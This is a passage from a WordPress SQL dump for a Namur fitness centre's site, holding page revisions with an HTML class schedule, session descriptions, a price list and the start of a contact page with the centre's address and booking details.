class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:45:31', '2014-12-15 19:45:31', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(472, 1, '2015-04-21 08:50:51', '2015-04-21 08:50:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:50:51', '2015-04-21 08:50:51', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(469, 1, '2014-12-15 19:46:29', '2014-12-15 19:46:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:46:29', '2014-12-15 19:46:29', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(471, 1, '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 'Séances', '', 'publish', 'open', 'open', '', 'seances', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=471', 4, 'nav_menu_item', '', 0),
(477, 1, '2015-04-21 09:07:44', '2015-04-21 09:07:44', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', 